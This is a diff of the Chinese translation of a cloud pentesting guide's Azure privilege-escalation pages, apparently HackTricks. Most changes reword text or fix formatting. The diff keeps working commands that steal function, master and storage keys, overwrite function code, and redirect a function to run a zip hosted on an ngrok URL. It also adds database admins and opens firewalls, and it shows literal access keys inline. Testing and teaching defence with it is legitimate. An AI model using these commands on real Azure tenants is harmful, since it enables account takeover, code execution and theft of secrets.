`function-releases`。 通常,这种部署方法会在以下位置设置 `WEBSITE_RUN_FROM_PACKAGE` 配置: ```bash @@ -66,7 +66,7 @@ az functionapp config appsettings list \ - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`) -拥有读取存储函数数据的存储帐户内容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的 **Squashfs 文件系统文件格式** 的发布,因此可以读取函数的代码: +拥有读取存储帐户中存储函数数据的容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的发布,格式为 **Squashfs 文件系统文件格式**,因此可以读取函数的代码: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**,该容器位于 **``** 文件夹内的 JSON 文件中。 +可以在存储帐户的容器 **`azure-webjobs-secrets`** 中找到存储的 **master 和 functions keys**,这些密钥位于 **``** 文件夹中的 JSON 文件内。 > [!CAUTION] > 只要有足够的权限连接到 **包含 zip 扩展文件的 blob 容器**(实际上是 **`squashfs`**),就可以在 Function 中执行任意代码并提升权限。 @@ -116,13 +116,13 @@ az storage blob upload \ --file /tmp/scm-latest-.zip \ --overwrite ``` -### Microsoft.Web/sites/host/listkeys/action +### `Microsoft.Web/sites/host/listkeys/action` -此权限允许列出指定函数的功能、主密钥和系统密钥,但不包括主机密钥: +此权限允许列出指定函数的功能密钥、主密钥和系统密钥,但不包括主机密钥: ```bash az functionapp keys list --resource-group --name ``` -使用主密钥也可以通过以下 URL 获取源代码: +使用主密钥也可以获取源代码,URL 如下: ```bash # Get "script_href" from az rest --method GET \ @@ -133,7 +133,7 @@ curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` -并且要**更改正在执行的代码**在函数中: +并且要**更改正在函数中执行的代码**为: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` -### Microsoft.Web/sites/functions/listKeys/action +### `Microsoft.Web/sites/functions/listKeys/action` 此权限允许获取指定函数的主密钥: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -### Microsoft.Web/sites/host/functionKeys/write +### `Microsoft.Web/sites/host/functionKeys/write` 此权限允许创建/更新指定函数的函数密钥: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/host/masterKey/write +### `Microsoft.Web/sites/host/masterKey/write` 此权限允许为指定的函数创建/更新主密钥: ```bash @@ -164,13 +164,13 @@ az functionapp keys set --resource-group --key-name --key > [!CAUTION] > 请记住,使用此密钥您还可以访问源代码并按前面所述进行修改! -### Microsoft.Web/sites/host/systemKeys/write +### `Microsoft.Web/sites/host/systemKeys/write` -此权限允许为指定的函数创建/更新系统功能密钥: +此权限允许为指定的函数创建/更新系统函数密钥: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/config/list/action +### `Microsoft.Web/sites/config/list/action` 此权限允许获取函数的设置。在这些配置中,可能会找到默认值 **`AzureWebJobsStorage`** 或 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**,其中包含一个 **访问函数的 blob 存储的帐户密钥,具有完全权限**。 ```bash @@ -181,9 +181,9 @@ az functionapp config appsettings list --name --resource-group /resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` -### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示了要在函数内部执行的代码的位置。 +这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示要在函数内部执行的代码的位置。 因此,可以设置设置的值**`WEBSITE_RUN_FROM_PACKAGE`**,指向包含要在Web应用程序内部执行的新代码的URL zip文件: @@ -205,7 +205,7 @@ ngrok http 8000 ``` - 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`**,指向包含代码的 **zip** 的 URL。 -以下是我的 **自定义设置,您需要更改为您自己的值**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这是我托管应用程序的地方。 +以下是我的 **自定义设置,您需要更改值以适应您的设置**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这就是我托管应用程序的地方。 ```bash # Modify the function az rest --method PUT \ @@ -213,9 +213,9 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json"}' \ --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` -### Microsoft.Web/sites/hostruntime/vfs/write +### `Microsoft.Web/sites/hostruntime/vfs/write` -拥有此权限后,可以通过网络控制台(或通过以下API端点)**修改应用程序的代码**: +通过此权限,可以**通过网络控制台(或通过以下 API 端点)修改应用程序的代码**: ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -224,7 +224,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body ``` -### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) +### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) 此权限允许列出所有发布配置文件,这些配置文件基本上包含 **基本身份验证凭据**: ```bash @@ -242,7 +242,7 @@ az functionapp deployment user set \ ``` - 如果**REDACTED**凭据 -如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`) +如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -275,7 +275,7 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用程序的名称,因此:`$`。_ +_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用名称,因此:`$`。_ 您还可以通过 `https://.scm.azurewebsites.net/BasicAuth` 访问网页。 @@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl ``` _请注意,**FTP 用户名** 通常格式为 \\\$\。_ -### Microsoft.Web/sites/publish/Action +### `Microsoft.Web/sites/hostruntime/vfs/read` -根据 [**文档**](https://github.com/projectkudu/kudu/wiki/REST-API#command),此权限允许在 SCM 服务器内部**执行命令**,这可能用于修改应用程序的源代码: -```bash -az rest --method POST \ ---resource "https://management.azure.com/" \ ---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ ---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug -``` -### Microsoft.Web/sites/hostruntime/vfs/read - -此权限允许通过 VFS **读取应用的源代码**: +此权限允许通过 VFS **读取应用程序的源代码**: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -### Microsoft.Web/sites/functions/token/action +### `Microsoft.Web/sites/functions/token/action` -拥有此权限可以[获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码: +通过此权限,可以 [获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码。 + +然而,在我最近的检查中没有返回任何令牌,因此它可能已被禁用或不再有效,但以下是您将如何操作的方式: ```bash # Get admin token -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ ---headers '{"Content-Type": "application/json"}' \ ---debug +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ -H "Authorization: Bearer " ``` -### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) +### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) 此权限允许**启用可能被禁用的函数**(或禁用它们)。 ```bash @@ -338,19 +329,19 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -在以下 URL 中也可以查看一个函数是启用还是禁用(使用括号中的权限): +可以在以下 URL 中查看函数是否启用或禁用(使用括号中的权限): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` -### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) +### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如)并使函数执行它。 +通过这些权限,可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如),并使该函数执行它。 ```bash az functionapp config container set --name \ --resource-group \ --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` -### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) +### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) 拥有这些权限可以**将新的用户管理身份附加到函数**。如果函数被攻破,这将允许将权限提升到任何用户管理身份。 ```bash @@ -361,7 +352,7 @@ az functionapp identity assign \ ``` ### 远程调试 -也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在 2 天内关闭此选项,以防开发人员忘记,从而避免留下易受攻击的配置。 +也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在开发者忘记时将此选项在 2 天内关闭,以避免留下易受攻击的配置。 可以通过以下方式检查函数是否启用了调试: ```bash @@ -374,7 +365,7 @@ az functionapp config set --remote-debugging-enabled=True --name --re ### 更改 Github 仓库 我尝试通过执行以下命令更改部署发生的 Github 仓库,但即使它确实更改了,**新代码并未加载**(可能是因为它期望 Github Action 更新代码)。\ -此外,**托管身份联合凭证未更新**以允许新仓库,因此看起来这并不是很有用。 +此外,**托管身份联合凭据未更新**以允许新仓库,因此看起来这并不是很有用。 ```bash # Remove current az functionapp deployment source delete \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index ebe40b610..0c49aa455 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -10,7 +10,7 @@ ../az-services/az-keyvault.md {{#endref}} -### Microsoft.KeyVault/vaults/write +### `Microsoft.KeyVault/vaults/write` 拥有此权限的攻击者将能够修改密钥保管库的策略(密钥保管库必须使用访问策略而不是 RBAC)。 ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index 1c77a54cb..2bef8e6fb 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -5,15 +5,13 @@ ## Logic Apps Privesc 有关 SQL 数据库的更多信息,请查看: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") +### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`) -拥有此权限后,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了各种系统和服务之间的自动化过程和集成。 - -{% code overflow="wrap" %} +拥有此权限,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了不同系统和服务之间的自动化过程和集成。 ```bash az logic workflow create \ --resource-group \ @@ -26,9 +24,7 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -{% endcode %} - -更改后,您可以使用以下命令运行它: +然后在更改后,您可以使用以下命令运行它: ```bash az rest \ --method post \ @@ -36,16 +32,12 @@ az rest \ --body '{}' \ --headers "Content-Type=application/json" ``` -### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") -拥有这些权限后,您可以使用 ZIP 文件部署来部署 Logic App 工作流。这些权限允许执行诸如读取应用程序详细信息、访问发布凭据、写入更改和列出应用程序配置等操作。结合启动权限,您可以更新并部署具有所需内容的新 Logic App。 - -{% code overflow="wrap" %} +### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) +拥有这些权限,您可以使用 ZIP 文件部署来部署 Logic App 工作流。这些权限允许执行诸如读取应用程序详细信息、访问发布凭据、写入更改和列出应用程序配置等操作。结合启动权限,您可以更新并部署具有所需内容的新 Logic App。 ```bash az logicapp deployment source config-zip \ --name \ --resource-group \ --src ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index 3b16a7f33..ac1860005 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -2,19 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - ## MySQL 数据库权限提升 有关 SQL 数据库的更多信息,请查看: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" +### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write` 拥有此权限,您可以在 Azure 上创建、更新或删除 MySQL Flexible Server 实例。这包括配置新服务器、修改现有服务器配置或退役服务器。 - -{% code overflow="wrap" %} ```bash az mysql flexible-server create \ --name \ @@ -27,32 +24,20 @@ az mysql flexible-server create \ --tier \ --version ``` -{% endcode %} - -例如,这些权限允许更改 MySQL 密码,这在启用 MySQL 身份验证的情况下当然很有用。 - -{% code overflow="wrap" %} +例如,这些权限允许更改 MySQL 密码,当然在启用 MySQL 身份验证的情况下非常有用。 ```bash az mysql flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下: - -{% code overflow="wrap" %} +此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法: ```bash az mysql flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` -### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" - -通过此权限,您可以为 MySQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 MySQL 服务器的完全管理控制。重要的是,flexible-server 必须具有用户分配的托管身份以供使用。 - -{% code overflow="wrap" %} +通过此权限,您可以为 MySQL Flexible Server 配置 Azure Active Directory (AD) 管理员。可以通过将自己或其他帐户设置为 AD 管理员来利用此权限,从而获得对 MySQL 服务器的完全管理控制。重要的是,flexible-server 必须具有用户分配的托管身份以供使用。 ```bash az mysql flexible-server ad-admin create \ --resource-group \ @@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 8d7b5bb29..58bf25f0e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -5,15 +5,13 @@ ## PostgreSQL Privesc 有关 SQL 数据库的更多信息,请查看: -{% content-ref url="../az-services/az-postgresql.md" %} +{{#ref}} [az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` 拥有此权限,您可以在 Azure 上创建、更新或删除 PostgreSQL Flexible Server 实例。这包括配置新服务器、修改现有服务器配置或退役服务器。 - -{% code overflow="wrap" %} ```bash az postgres flexible-server create \ --name \ @@ -26,34 +24,22 @@ az postgres flexible-server create \ --tier \ --version ``` -{% endcode %} - -例如,这些权限允许更改 PostgreSQL 密码,这在启用 PostgreSQL 身份验证的情况下当然很有用。 - -{% code overflow="wrap" %} +例如,这些权限允许更改 PostgreSQL 密码,当然在启用 PostgreSQL 身份验证的情况下非常有用。 ```bash az postgres flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法如下: - -{% code overflow="wrap" %} +此外,如果您想从非私有端点访问,则必须启用公共访问,启用方法: ```bash az postgres flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" +通过此权限,您可以为 PostgreSQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 PostgreSQL 服务器的完全管理控制。更新现有主体尚不支持,因此如果已创建一个,您必须先将其删除。 -通过此权限,您可以为 PostgreSQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 PostgreSQL 服务器的完全管理控制。尚不支持更新现有主体,因此如果已创建一个,您必须先将其删除。 - -重要的是,flexible-server 必须具有用户分配的托管身份以供使用。 - -{% code overflow="wrap" %} +重要的是,flexible-server 必须有用户分配的托管身份可供使用。 ```bash az postgres flexible-server ad-admin create \ --resource-group \ @@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 9f2f703c0..a40047217 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -127,9 +127,9 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` +### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能会绕过基于角色的访问控制 (RBAC)。 +如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能绕过基于角色的访问控制 (RBAC)。 ```bash az servicebus namespace authorization-rule update \ --resource-group \ @@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \ --name RootManageSharedAccessKey \ --rights Manage Listen Send ``` -## 参考文献 +## 参考 - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index 4d95be899..83146dd3c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -1,8 +1,8 @@ -# Az - SQL 数据库权限提升 +# Az - SQL Database Privesc {{#include ../../../banners/hacktricks-training.md}} -## SQL 数据库权限提升 +## SQL Database Privesc 有关 SQL 数据库的更多信息,请查看: @@ -10,9 +10,9 @@ ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" +### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` -拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现对服务器的未经授权的访问或控制。他们还可以创建新服务器,可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制的访问权限。 +拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现未经授权的访问或对服务器的控制。他们还可以创建新服务器,可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制访问权限。 ```bash # Change the server password az sql server update \ @@ -35,7 +35,7 @@ az sql server update \ --resource-group \ --enable-public-network true ``` -### "Microsoft.Sql/servers/firewallRules/write" +### `Microsoft.Sql/servers/firewallRules/write` 攻击者可以操纵 Azure SQL 服务器上的防火墙规则,以允许未经授权的访问。这可以被利用来向特定的 IP 地址或整个 IP 范围(包括公共 IP)开放服务器,从而使恶意行为者能够访问。此后渗透活动可以用来绕过现有的网络安全控制,建立持久性,或通过暴露敏感资源来促进环境内的横向移动。 ```bash @@ -58,9 +58,9 @@ az sql server firewall-rule update \ 此外,`Microsoft.Sql/servers/outboundFirewallRules/delete` 权限允许您删除防火墙规则。 注意:必须启用公共访问 -### ""Microsoft.Sql/servers/ipv6FirewallRules/write" +### `Microsoft.Sql/servers/ipv6FirewallRules/write` -拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置并获得对服务器的未经授权的访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。 +拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置并获得对服务器的未授权访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。 ```bash az sql server firewall-rule create \ --server \ @@ -72,9 +72,9 @@ az sql server firewall-rule create \ 此外,`Microsoft.Sql/servers/ipv6FirewallRules/delete` 权限允许您删除防火墙规则。 注意:必须启用公共访问 -### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" +### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` -通过这些权限,您可以在 Azure SQL Server 环境中进行权限提升,访问 SQL 数据库并检索关键信息。使用下面的命令,攻击者或授权用户可以将自己或其他帐户设置为 Azure AD 管理员。如果启用了 "Microsoft Entra Authentication Only",您将能够访问服务器及其实例。以下是为 SQL 服务器设置 Azure AD 管理员的命令: +通过这些权限,您可以在 Azure SQL Server 环境中进行权限提升,访问 SQL 数据库并检索关键信息。使用下面的命令,攻击者或授权用户可以将自己或其他帐户设置为 Azure AD 管理员。如果启用了“仅 Microsoft Entra 身份验证”,您将能够访问服务器及其实例。以下是为 SQL 服务器设置 Azure AD 管理员的命令: ```bash az sql server ad-admin create \ --server \ @@ -82,9 +82,9 @@ az sql server ad-admin create \ --display-name \ --object-id ``` -### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" +### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read` -拥有这些权限,您可以在 Azure SQL Server 上配置和强制执行 "Microsoft Entra Authentication Only",这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅身份验证。 +通过这些权限,您可以在 Azure SQL Server 上配置和强制执行“Microsoft Entra 仅限身份验证”,这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅限身份验证。 ```bash #Enable az sql server azure-ad-only-auth enable \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index b050c1696..bfc0f39c1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -10,21 +10,21 @@ ../az-services/az-storage.md {{#endref}} -### 